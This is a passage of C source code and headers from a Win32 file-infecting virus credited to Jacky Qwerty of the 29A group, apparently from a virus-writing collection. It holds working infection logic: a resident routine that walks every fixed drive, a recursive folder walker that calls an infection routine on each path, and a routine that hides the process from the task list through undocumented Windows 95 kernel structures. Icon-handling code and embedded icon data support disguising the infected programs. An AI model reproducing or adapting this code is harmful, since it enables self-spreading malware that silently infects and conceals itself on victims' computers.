: 32) ||
pIconImage->icHeader.biPlanes != 1 ||
pIconImage->icHeader.biBitCount != 4)
continue;
return pIconImage;
} while (++pRsrcDirEntry, --nCount);
return NULL;
}
VOID GetDefaultIcons(PICONIMAGES pIconImages,
PVOID pNEorPE) {
if (((PIMAGE_NT_HEADERS)pNEorPE)->Signature == IMAGE_NT_SIGNATURE) {
PIMAGE_NT_HEADERS pPE = _pHostPE = (PIMAGE_NT_HEADERS)pNEorPE;
PIMAGE_RESOURCE_DIRECTORY pRsrcDir =
pRsrcStart =
Rva2Raw(pPE->OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].
VirtualAddress);
pIconImages->pLargeIcon = GetDefaultIcon(pRsrcDir, LARGE_ICON, FALSE);
pIconImages->pSmallIcon = GetDefaultIcon(pRsrcDir, SMALL_ICON, FALSE);
return;
}
if (((PIMAGE_OS2_HEADER)pNEorPE)->ne_magic == IMAGE_OS2_SIGNATURE) {
PIMAGE_OS2_HEADER pNE = (PIMAGE_OS2_HEADER)pNEorPE;
BYTE align = *Rva2Ptr(PBYTE, pNE, pNE->ne_rsrctab);
PRESOURCE_TYPE
pRsrcType = Rva2Ptr(PRESOURCE_TYPE, pNE, pNE->ne_rsrctab + 2),
pRsrcEnd = Rva2Ptr(PRESOURCE_TYPE, pNE, pNE->ne_restab);
while (pRsrcType < pRsrcEnd && pRsrcType->ID) {
if (pRsrcType->ID == (0x8000 | (WORD)RT_ICON)) {
PRESOURCE_INFO pRsrcInfo = (PRESOURCE_INFO)(pRsrcType + 1);
DWORD nCount = 0;
do {
PICONIMAGE pIconImage = Rva2Ptr(PICONIMAGE,
pMZ,
pRsrcInfo++->offset << align);
if (pIconImage->icHeader.biSize == sizeof(BITMAPINFOHEADER) &&
pIconImage->icHeader.biPlanes == 1 &&
pIconImage->icHeader.biBitCount == 4)
if (!pIconImages->pLargeIcon &&
pIconImage->icHeader.biWidth == 32 &&
pIconImage->icHeader.biHeight == 64)
pIconImages->pLargeIcon = pIconImage;
else
if (!pIconImages->pSmallIcon &&
pIconImage->icHeader.biWidth == 16 &&
pIconImage->icHeader.biHeight == 32)
pIconImages->pSmallIcon = pIconImage;
if (pIconImages->pLargeIcon && pIconImages->pSmallIcon)
goto breakall;
} while (++nCount < pRsrcType->count);
}
pRsrcType =
(PRESOURCE_TYPE)
((PBYTE)pRsrcType + sizeof(RESOURCE_TYPE)
+ pRsrcType->count * sizeof(RESOURCE_INFO));
}
breakall:;
}
}
#endif
#ifdef tsr
__inline VOID SeekTSR() {
DWORD cBytes;
PBYTE pszDrvs, pszDrive;
UINT uDriveType;
if (!(cBytes = GetLogicalDriveStrings(0, NULL)) ||
!(pszDrvs = (PBYTE)GlobalAlloc(LPTR, cBytes + 1)))
return;
if (GetLogicalDriveStrings(cBytes, pszDrvs) - 1 < cBytes) {
#if PREV_LAPSE
Sleep(PREV_LAPSE * 1000);
#endif
do {
pszDrive = pszDrvs;
do {
if ((uDriveType = GetDriveType(pszDrive)) <= DRIVE_REMOVABLE ||
uDriveType == DRIVE_CDROM)
continue;
#ifdef msgbox
if (CancelFolderSeek)
CancelFolderSeek = FALSE;
#endif
WalkFolder(lstrcpy(PathName, pszDrive));
} while (*(pszDrive += lstrlen(pszDrive) + 1));
#ifdef msgbox
if (CancelFolderSeek)
break;
#endif
} while (TRUE);
#ifdef msgbox
CloseHandle(hMutex);
#if 1
MessageBox(NULL, "TSR: Mutex destroyed!", szCopyright, MB_OK);
#endif
#endif
}
#ifdef msgbox
GlobalFree(pszDrvs);
#endif
}
VOID WalkFolder(PBYTE PathName) {
DWORD cBytes;
HANDLE hFindFile;
Sleep(SEEK_LAPSE * 1000);
InfectPath(PathName, cBytes = lstrlen(PathName));
if (PathName[cBytes - 1] != '\\')
PathName[cBytes++] = '\\';
*(PDWORD)(PathName + cBytes) = '*.*';
if ((hFindFile = FindFirstFile(PathName, &FindDataTSR)) ==
INVALID_HANDLE_VALUE)
return;
do {
#ifdef msgbox
if (CancelFolderSeek)
break;
#endif
if (!IsFolder(&FindDataTSR))
continue;
lstrcpy(PathName + cBytes, FindDataTSR.cFileName);
WalkFolder(PathName); //recurse folders..
} while (FindNextFile(hFindFile, &FindDataTSR));
FindClose(hFindFile);
}
//VOID HideProcess() { //Unsecure way to
// PTHREAD_DATABASE pThreadDB = GetThreadDB(); //hide our process.
// if (pThreadDB->pProcess->Type != K32OBJ_PROCESS) //This is undocumented
// return; //Microsoft stuff,
// pThreadDB->pProcess->flags |= fServiceProcess; //likely to GP fault!
//} //Code bellow is better
VOID HideProcess() {
{ //do it the legal undoc. way..
DWORD (WINAPI *pfnRegisterServiceProcess)(DWORD, DWORD);
pfnRegisterServiceProcess =
(DWORD (WINAPI *)(DWORD, DWORD))
GetProcAddress(GetModuleHandle("KERNEL32"),
"RegisterServiceProcess");
if (pfnRegisterServiceProcess)
pfnRegisterServiceProcess(0, 1);
}
{ //do it the ilegal dirty way, just in case..
PPROCESS_DATABASE pProcessDB = GetProcessDB();
HANDLE hProcess = GetCurrentProcess();
DWORD dwBuffer, nBytes;
if (!ReadProcessMemory(hProcess, &pProcessDB->Type,
&dwBuffer, 4, &nBytes) ||
nBytes != 4 || dwBuffer != K32OBJ_PROCESS ||
!ReadProcessMemory(hProcess, &pProcessDB->flags,
&dwBuffer, 4, &nBytes) ||
nBytes != 4)
return;
dwBuffer |= fServiceProcess;
WriteProcessMemory(hProcess, &pProcessDB->flags,
&dwBuffer, 4, &nBytes);
}
}
__inline PPROCESS_DATABASE GetProcessDB() {
PPROCESS_DATABASE pProcessDB;
DWORD nBytes;
return (!ReadProcessMemory(GetCurrentProcess(), &GetThreadDB()->pProcess,
&pProcessDB, 4, &nBytes) ||
nBytes != 4)
? NULL
: pProcessDB;
}
__inline PTHREAD_DATABASE GetThreadDB() {
__asm push -10h
__asm pop eax
__asm add eax,fs:[TIB.ptibSelf + (eax + 10h)] //(eax + 10h) = 0
}
#endif
//end
----------------------------------------------------------------[win32red.c]--
----------------------------------------------------------------[win95sys.h]--
//WIN95SYS - Win95 System Structures
//
//Some powerful Win95 structs that Microsoft dont want us to know about.
//These are much like the Win95 implementation of the SFTs found in DOS.
//Last minute note (Nov/10/98): Unfortunately some of the fields in these
// structures broke on Win98. More especifically I dunno where the Process
// database structure lies in memory. However the 'RegisterServiceProcess'
// API is still exported from KERNEL32 and so our nasty trick with the
// 'Task Bar' still works there. Under NT this story is out of scope. JQ.
//Kernel32 objects
#define K32OBJ_SEMAPHORE 0x1
#define K32OBJ_EVENT 0x2
#define K32OBJ_MUTEX 0x3
#define K32OBJ_CRITICAL_SECTION 0x4
#define K32OBJ_PROCESS 0x5
#define K32OBJ_THREAD 0x6
#define K32OBJ_FILE 0x7
#define K32OBJ_CHANGE 0x8
#define K32OBJ_CONSOLE 0x9
#define K32OBJ_SCREEN_BUFFER 0xA
#define K32OBJ_MEM_MAPPED_FILE 0xB
#define K32OBJ_SERIAL 0xC
#define K32OBJ_DEVICE_IOCTL 0xD
#define K32OBJ_PIPE 0xE
#define K32OBJ_MAILSLOT 0xF
#define K32OBJ_TOOLHELP_SNAPSHOT 0x10
#define K32OBJ_SOCKET 0x11
//Process Database flags
#define fDebugSingle 0x00000001
#define fCreateProcessEvent 0x00000002
#define fExitProcessEvent 0x00000004
#define fWin16Process 0x00000008
#define fDosProcess 0x00000010
#define fConsoleProcess 0x00000020
#define fFileApisAreOem 0x00000040
#define fNukeProcess 0x00000080
#define fServiceProcess 0x00000100
#define fLoginScriptHack 0x00000800
//Thread Database flags
#define fCreateThreadEvent 0x00000001
#define fCancelExceptionAbort 0x00000002
#define fOnTempStack 0x00000004
#define fGrowableStack 0x00000008
#define fDelaySingleStep 0x00000010
#define fOpenExeAsImmovableFile 0x00000020
#define fCreateSuspended 0x00000040
#define fStackOverflow 0x00000080
#define fNestedCleanAPCs 0x00000100
#define fWasOemNowAnsi 0x00000200
#define fOKToSetThreadOem 0x00000400
#pragma pack(1)
//MODREF and IMTE structures
typedef struct _MODREF {
struct _MODREF *pNextModRef; // 00h
DWORD un1; // 04h
DWORD un2; // 08h
DWORD un3; // 0Ch
WORD mteIndex; // 10h
WORD un4; // 12h
DWORD un5; // 14h
PVOID ppdb; // 18h Pointer to process database
DWORD un6; // 1Ch
DWORD un7; // 20h
DWORD un8; // 24h
} MODREF, *PMODREF;
typedef struct _IMTE {
DWORD un1; // 00h
PIMAGE_NT_HEADERS pNTHdr; // 04h
DWORD un2; // 08h
PSTR pszFileName; // 0Ch
PSTR pszModName; // 10h
WORD cbFileName; // 14h
WORD cbModName; // 16h
DWORD un3; // 18h
DWORD cSections; // 1Ch
DWORD un5; // 20h
DWORD baseAddress; // 24h
WORD hModule16; // 28h
WORD cUsage; // 2Ah
DWORD un7; // 2Ch
PSTR pszFileName2; // 30h
WORD cbFileName2; // 34h
DWORD pszModName2; // 36h
WORD cbModName2; // 3Ah
} IMTE, *PIMTE;
//Process Database structure
typedef struct _ENVIRONMENT_DATABASE {
PSTR pszEnvironment; // 00h Pointer to Environment
DWORD un1; // 04h
PSTR pszCmdLine; // 08h Pointer to command line
PSTR pszCurrDirectory; // 0Ch Pointer to current directory
LPSTARTUPINFOA pStartupInfo;// 10h Pointer to STARTUPINFOA struct
HANDLE hStdIn; // 14h Standard Input
HANDLE hStdOut; // 18h Standard Output
HANDLE hStdErr; // 1Ch Standard Error
DWORD un2; // 20h
DWORD InheritConsole; // 24h
DWORD BreakType; // 28h
DWORD BreakSem; // 2Ch
DWORD BreakEvent; // 30h
DWORD BreakThreadID; // 34h
DWORD BreakHandlers; // 38h
} ENVIRONMENT_DATABASE, *PENVIRONMENT_DATABASE;
typedef struct _HANDLE_TABLE_ENTRY {
DWORD flags; // Valid flags depend on what type of object this is
PVOID pObject; // Pointer to the object that the handle refers to
} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY;
typedef struct _HANDLE_TABLE {
DWORD cEntries; // Max number of handles in table
HANDLE_TABLE_ENTRY array[1]; // An array (number is given by cEntries)
} HANDLE_TABLE, *PHANDLE_TABLE;
typedef struct _PROCESS_DATABASE {
DWORD Type; // 00h KERNEL32 object type (5)
DWORD cReference; // 04h Number of references to process
DWORD un1; // 08h
DWORD someEvent; // 0Ch An event object (What's it used for???)
DWORD TerminationStatus; // 10h Returned by GetExitCodeProcess
DWORD un2; // 14h
DWORD DefaultHeap; // 18h Address of the process heap
DWORD MemoryContext; // 1Ch pointer to the process's context
DWORD flags; // 20h
// 0x00000001 - fDebugSingle
// 0x00000002 - fCreateProcessEvent
// 0x00000004 - fExitProcessEvent
// 0x00000008 - fWin16Process
// 0x00000010 - fDosProcess
// 0x00000020 - fConsoleProcess
// 0x00000040 - fFileApisAreOem
// 0x00000080 - fNukeProcess
// 0x00000100 - fServiceProcess
// 0x00000800 - fLoginScriptHack
DWORD pPSP; // 24h Linear address of PSP?
WORD PSPSelector; // 28h
WORD MTEIndex; // 2Ah
WORD cThreads; // 2Ch
WORD cNotTermThreads; // 2Eh
WORD un3; // 30h
WORD cRing0Threads; // 32h number of ring 0 threads
HANDLE HeapHandle; // 34h Heap to allocate handle tables out of
// This seems to always be the KERNEL32 heap
HTASK W16TDB; // 38h Win16 Task Database selector
DWORD MemMapFiles; // 3Ch memory mapped file list (?)
PENVIRONMENT_DATABASE pEDB; // 40h Pointer to Environment Database
PHANDLE_TABLE pHandleTable; // 44h Pointer to process handle table
struct _PROCESS_DATABASE *ParentPDB; // 48h Parent process database
PMODREF MODREFlist; // 4Ch Module reference list
DWORD ThreadList; // 50h Threads in this process
DWORD DebuggeeCB; // 54h Debuggee Context block?
DWORD LocalHeapFreeHead; // 58h Head of free list in process heap
DWORD InitialRing0ID; // 5Ch
CRITICAL_SECTION crst; // 60h
DWORD un4[3]; // 78h
DWORD pConsole; // 84h Pointer to console for process
DWORD tlsInUseBits1; // 88h // Represents TLS indices 0 - 31
DWORD tlsInUseBits2; // 8Ch // Represents TLS indices 32 - 63
DWORD ProcessDWORD; // 90h
struct _PROCESS_DATABASE *ProcessGroup; // 94h
DWORD pExeMODREF; // 98h pointer to EXE's MODREF
DWORD TopExcFilter; // 9Ch Top Exception Filter?
DWORD BasePriority; // A0h Base scheduling priority for process
DWORD HeapOwnList; // A4h Head of the list of process heaps
DWORD HeapHandleBlockList;// A8h Pointer to head of heap handle block list
DWORD pSomeHeapPtr; // ACh normally zero, but can a pointer to a
// moveable handle block in the heap
DWORD pConsoleProvider; // B0h Process that owns the console we're using?
WORD EnvironSelector; // B4h Selector containing process environment
WORD ErrorMode; // B6H SetErrorMode value (also thunks to Win16)
DWORD pevtLoadFinished; // B8h Pointer to event LoadFinished?
WORD UTState; // BCh
} PROCESS_DATABASE, *PPROCESS_DATABASE;
//TIB (Thread Information Block) structure
typedef struct _SEH_record {
struct _SEH_record *pNext;
FARPROC pfnHandler;
} SEH_record, *PSEH_record;
// This is semi-documented in the NTDDK.H file from the NT DDK
typedef struct _TIB {
PSEH_record pvExcept; // 00h Head of exception record list
PVOID pvStackUserTop; // 04h Top of user stack
PVOID pvStackUserBase; // 08h Base of user stack
WORD pvTDB; // 0Ch TDB
WORD pvThunksSS; // 0Eh SS selector used for thunking to 16 bits
DWORD SelmanList; // 10h
PVOID pvArbitrary; // 14h Available for application use
struct _tib *ptibSelf; // 18h Linear address of TIB structure
WORD TIBFlags; // 1Ch
WORD Win16MutexCount; // 1Eh
DWORD DebugContext; // 20h
DWORD pCurrentPriority; // 24h
DWORD pvQueue; // 28h Message Queue selector
PVOID *pvTLSArray; // 2Ch Thread Local Storage array
} TIB, *PTIB;
//TDBX structure
typedef struct _TDBX {
DWORD ptdb; // 00h // PTHREAD_DATABASE
DWORD ppdb; // 04h // PPROCESDS_DATABASE
DWORD ContextHandle; // 08h
DWORD un1; // 0Ch
DWORD TimeOutHandle; // 10h
DWORD WakeParam; // 14h
DWORD BlockHandle; // 18h
DWORD BlockState; // 1Ch
DWORD SuspendCount; // 20h
DWORD SuspendHandle; // 24h
DWORD MustCompleteCount; // 28h
DWORD WaitExFlags; // 2Ch
// 0x00000001 - WAITEXBIT
// 0x00000002 - WAITACKBIT
// 0x00000004 - SUSPEND_APC_PENDING
// 0x00000008 - SUSPEND_TERMINATED
// 0x00000010 - BLOCKED_FOR_TERMINATION
// 0x00000020 - EMULATE_NPX
// 0x00000040 - WIN32_NPX
// 0x00000080 - EXTENDED_HANDLES
// 0x00000100 - FROZEN
// 0x00000200 - DONT_FREEZE
// 0x00000400 - DONT_UNFREEZE
// 0x00000800 - DONT_TRACE
// 0x00001000 - STOP_TRACING
// 0x00002000 - WAITING_FOR_CRST_SAFE
// 0x00004000 - CRST_SAFE
// 0x00040000 - BLOCK_TERMINATE_APC
DWORD SyncWaitCount; // 30h
DWORD QueuedSyncFuncs; // 34h
DWORD UserAPCList; // 38h
DWORD KernAPCList; // 3Ch
DWORD pPMPSPSelector; // 40h
DWORD BlockedOnID; // 44h
DWORD un2[7]; // 48h
DWORD TraceRefData; // 64h
DWORD TraceCallBack; // 68h
DWORD TraceEventHandle; // 6Ch
WORD TraceOutLastCS; // 70h
WORD K16TDB; // 72h
WORD K16PDB; // 74h
WORD DosPDBSeg; // 76h
WORD ExceptionCount; // 78h
} TDBX, *PTDBX;
//Thread Database structure
typedef struct _THREAD_DATABASE {
DWORD Type; // 00h
DWORD cReference; // 04h
PPROCESS_DATABASE pProcess; // 08h
DWORD someEvent; // 0Ch An event object (What's it used for???)
DWORD pvExcept; // 10h This field through field 3CH is a TIB
// structure (see TIB.H)
DWORD TopOfStack; // 14h
DWORD StackLow; // 18h
WORD W16TDB; // 1Ch
WORD StackSelector16; // 1Eh Used when thunking down to 16 bits
DWORD SelmanList; // 20h
DWORD UserPointer; // 24h
PTIB pTIB; // 28h
WORD TIBFlags; // 2Ch TIBF_WIN32 = 1, TIBF_TRAP = 2
WORD Win16MutexCount; // 2Eh
DWORD DebugContext; // 30h
PDWORD pCurrentPriority; // 34h
DWORD MessageQueue; // 38h
DWORD pTLSArray; // 3Ch
PPROCESS_DATABASE pProcess2;// 40h Another copy of the thread's process???
DWORD Flags; // 44h
// 0x00000001 - fCreateThreadEvent
// 0x00000002 - fCancelExceptionAbort
// 0x00000004 - fOnTempStack
// 0x00000008 - fGrowableStack
// 0x00000010 - fDelaySingleStep
// 0x00000020 - fOpenExeAsImmovableFile
// 0x00000040 - fCreateSuspended
// 0x00000080 - fStackOverflow
// 0x00000100 - fNestedCleanAPCs
// 0x00000200 - fWasOemNowAnsi
// 0x00000400 - fOKToSetThreadOem
DWORD TerminationStatus; // 48h Returned by GetExitCodeThread
WORD TIBSelector; // 4Ch
WORD EmulatorSelector; // 4Eh
DWORD cHandles; // 50h
DWORD WaitNodeList; // 54h
DWORD un4; // 58h
DWORD Ring0Thread; // 5Ch
PTDBX pTDBX; // 60
DWORD StackBase; // 64h
DWORD TerminationStack; // 68h
DWORD EmulatorData; // 6Ch
DWORD GetLastErrorCode; // 70h
DWORD DebuggerCB; // 74h
DWORD DebuggerThread; // 78h
PCONTEXT ThreadContext; // 7Ch // register context defined in WINNT.H
DWORD Except16List; // 80h
DWORD ThunkConnect; // 84h
DWORD NegStackBase; // 88h
DWORD CurrentSS; // 8Ch
DWORD SSTable; // 90h
DWORD ThunkSS16; // 94h
DWORD TLSArray[64]; // 98h
DWORD DeltaPriority; // 198h
// The retail version breaks off somewhere around here.
// All the remaining fields are most likely only in the debug version
DWORD un5[7]; // 19Ch
DWORD pCreateData16; // 1B8h
DWORD APISuspendCount; // 1BCh # of times SuspendThread has been called
DWORD un6; // 1C0h
DWORD WOWChain; // 1C4h
WORD wSSBig; // 1C8h
WORD un7; // 1CAh
DWORD lp16SwitchRec; // 1CCh
DWORD un8[6]; // 1D0h
DWORD pSomeCritSect1; // 1E8h
DWORD pWin16Mutex; // 1ECh
DWORD pWin32Mutex; // 1F0h
DWORD pSomeCritSect2; // 1F4h
DWORD un9; // 1F8h
DWORD ripString; // 1FCh
DWORD LastTlsSetValueEIP[64]; // 200h (parallel to TlsArray, contains EIP
// where TLS value was last set from)
} THREAD_DATABASE, *PTHREAD_DATABASE;
----------------------------------------------------------------[win95sys.h]--
----------------------------------------------------------------[jqcoding.h]--
/*
JQCODING.H - Supertiny/fast Compression/Encryption library - C/C++ header
(c) 1998 by Jacky Qwerty/29A.
*/
unsigned long
__stdcall
jq_encode(void *out, /* output stream ptr */
const void *in, /* input stream ptr */
unsigned long in_len, /* input stream length */
void *mem64k); /* work mem ptr */
unsigned long
__stdcall
jq_decode(void *out, /* output stream ptr */
const void *in, /* input stream ptr */
unsigned long in_len, /* input stream length */
void *mem64k); /* work mem ptr */
----------------------------------------------------------------[jqcoding.h]--
----------------------------------------------------------------[winicons.h]--
// Win16/32 related Icon structures..
#include <windows.h>
#define SIZEOF_LARGE_ICON 0x2E8
#define SIZEOF_SMALL_ICON 0x128
#define SIZEOF_ICONS (SIZEOF_LARGE_ICON + SIZEOF_SMALL_ICON)
// Icon format (ID = 03h)
typedef struct _ICONIMAGE {
BITMAPINFOHEADER icHeader; // DIB header
RGBQUAD icColors[1]; // Color table
BYTE icXOR[1]; // DIB bits for XOR mask
BYTE icAND[1]; // DIB bits for AND mask
} ICONIMAGE, *PICONIMAGE;
// Group Icon format (ID = 0Eh)
typedef struct _ICONDIRENTRY {
BYTE bWidth; // Width, in pixels, of the image
BYTE bHeight; // Height, in pixels, of the image
BYTE bColorCount; // Number of colors in image (0 if >=8bpp)
BYTE bReserved; // Reserved
WORD wPlanes; // Color Planes
WORD wBitCount; // Bits per pixel
DWORD dwBytesInRes; // how many bytes in this resource?
WORD nID; // the ID
} ICONDIRENTRY, *PICONDIRENTRY;
#define SIZEOF_ICONDIRENTRY sizeof(ICONDIRENTRY)
typedef struct _ICONDIR {
WORD idReserved; // Reserved (must be 0)
WORD idType; // Resource type (1 for icons)
WORD idCount; // How many images?
ICONDIRENTRY idEntries[1]; // The entries for each image
} ICONDIR, *PICONDIR;
#define SIZEOF_ICONDIR 6
----------------------------------------------------------------[winicons.h]--
------------------------------------------------------------------[winres.h]--
//Win16 (NE) related resource structures..
typedef struct {
WORD ID;
WORD count;
DWORD function;
} RESOURCE_TYPE, *PRESOURCE_TYPE;
typedef struct {
WORD offset;
WORD length;
WORD flags;
WORD ID;
WORD handle;
WORD usage;
} RESOURCE_INFO, *PRESOURCE_INFO;
------------------------------------------------------------------[winres.h]--
----------------------------------------------------------------[jq29aico.h]--
#ifdef compr
BYTE jq29aComprIcons[] = {
0xd7,0x45,0xb1,0x44,0xc6,0x7d,0x61,0xa8,0x96,0xc0,0x9d,0x74,0xbb,
0x6d,0xbc,0x6b,0xa0,0xa6,0x57,0xc8,0x76,0x77,0x64,0x0c,0x7e,0x9a,
0x2f,0xb8,0xd2,0xcd,0xbc,0xa3,0xa0,0x33,0x50,0x3b,0x90,0x3b,0x1f,
0x46,0xe9,0xb2,0x7f,0xe4,0xd0,0x28,0x13,0x4e,0xfa,0x92,0x3e,0xcc,
0xd1,0xc3,0x92,0x95,0x1c,0x5e,0xda,0xaf,0x45,0x91,0x44,0xee,0xc7,
0x95,0x31,0x04,0x13,0x3d,0x1c,0x23,0x5d,0xa1,0x59,0xa9,0x34,0x0e,
0x7a,0x92,0x3f,0x65,0xac,0x3e,0x67,0xa8,0x4b,0x8d,0x7c,0x9e,0x27,
0x55,0xcc,0x83,0x60,0xa6,0x57,0xc8,0xf6,0x8a,0x72,0xff,0xe5,0xd1,
0xb9,0x14,0x33,0x7d,0xe1,0xa4,0x53,0xc0,0x9b,0x50,0xbb,0x10,0x3b,
0x6d,0xc1,0xe4,0xae,0xda,0x11,0x41,0xe1,0x1a,0x42,0x9d,0x1a,0xb3,
0x00,0x54,0x32,0x51,0x17,0x08,0xb9,0xe5,0x50,0x49,0x6e,0x4c,0x0c,
0x9f,0x26,0x16,0xcb,0x16,0xea,0xb6,0xa9,0x91,0xcc,0xb3,0x63,0xed,
0xf9,0xbc,0xa1,0x2c,0x10,0x75,0x06,0x60,0xd2,0x51,0xd0,0x01,0xcf,
0xda,0xae,0xf1,0x14,0x97,0xa3,0x32,0x1c,0x7e,0x8e,0xca,0x90,0x2b,
0x4e,0x4a,0x6c,0x82,0x91,0xd3,0xed,0x96,0x67,0xca,0xef,0x05,0x07,
0x3b,0xb6,0x1e,0x87,0xfb,0xe3,0x06,0xfe,0x2f,0xca,0x08,0x85,0x16,
0x2f,0xca,0x3f,0x83,0x9e,0x59,0x11,0xfd,0x97,0x46,0xc9,0x31,0x9b,
0x97,0x95,0x37,0x07,0x02,0x6f,0xc5,0x2b,0xce,0xf7,0x95,0x31,0x1a,
0x82,0x72,0xdf,0xd8,0x4c,0x3e,0x68,0xd9,0x1f,0x83,0x9d,0x6e,0xde,
0xa7,0x55,0xb9,0x04,0x93,0x40,0xe6,0x2a,0xcf,0x67,0x16,0x37,0x75,
0xf1,0x04,0xd5,0xc7,0x55,0x0c,0xbe,0x9a,0x27,0xc5,0x6c,0x43,0xe0,
0xb5,0x2a,0x31,0x02,0x1f,0x24,0x2b,0xb2,0x9c,0x5c,0xa3,0x5d,0xa0,
0x8b,0x53,0xbc,0x1b,0x5d,0x1f,0x55,0xcc,0xfe,0xe7,0xd5,0xcc,0xfe,
0xe7,0xd5,0xcc,0xfe,0xe7,0xa8,0x36,0x77,0x88,0x96,0x03,0xd2,0x6c,
0xe1,0xee,0x3a,0x54,0xaf,0x5f,0x9d,0xaf,0x8e,0xc8,0x0c,0xc4,0x29,
0xa7,0x0f,0x77,0x1b,0x4f,0xba,0xd0,0xb2,0x6c,0xaf,0xe3,0xaa,0x26,
0x58,0x20,0x00,0x5b,0xf3,0x76,0xf2,0x2c,0xb3,0x59,0xd4,0xa1,0x50,
0x18,0x48,0x00,0x6b,0x2d,0x79,0xee,0xc0,0x04,0x44,0xe2,0xd2,0x59
};
#define SIZEOF_COMPR_ICONS sizeof(jq29aComprIcons)
#else
BYTE jq29aIcons[] = {
0x28,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x01,
0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x80,0x00,0x00,
0x00,0x80,0x80,0x00,0x80,0x00,0x00,0x00,0x80,0x00,0x80,0x00,0x80,
0x80,0x00,0x00,0xc0,0xc0,0xc0,0x00,0x80,0x80,0x80,0x00,0x00,0x00,
0xff,0x00,0x00,0xff,0x00,0x00,0x00,0xff,0xff,0x00,0xff,0x00,0x00,
0x00,0xff,0x00,0xff,0x00,0xff,0xff,0x00,0x00,0xff,0xff,0xff,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x78,0xe3,0xf8,
0x00,0x70,0x63,0xf8,0x8f,0xe3,0x31,0xf1,0x87,0xe3,0x31,0xf1,0xc3,
0xff,0x10,0x01,0xc1,0xff,0x18,0x03,0xe1,0xf8,0x18,0xe3,0xf0,0xf0,
0x18,0xe3,0xf8,0xe3,0x1c,0xe7,0xf8,0x63,0x1c,0x47,0xfc,0x63,0x1c,
0x47,0xfc,0x63,0x1c,0x47,0x1c,0x63,0x1e,0x0f,0x1c,0x63,0x3e,0x0f,
0x80,0xf0,0x3e,0x0f,0xc1,0xf8,0x7f,0x1f,0xff,0xff,0xff,0xff,0xff,
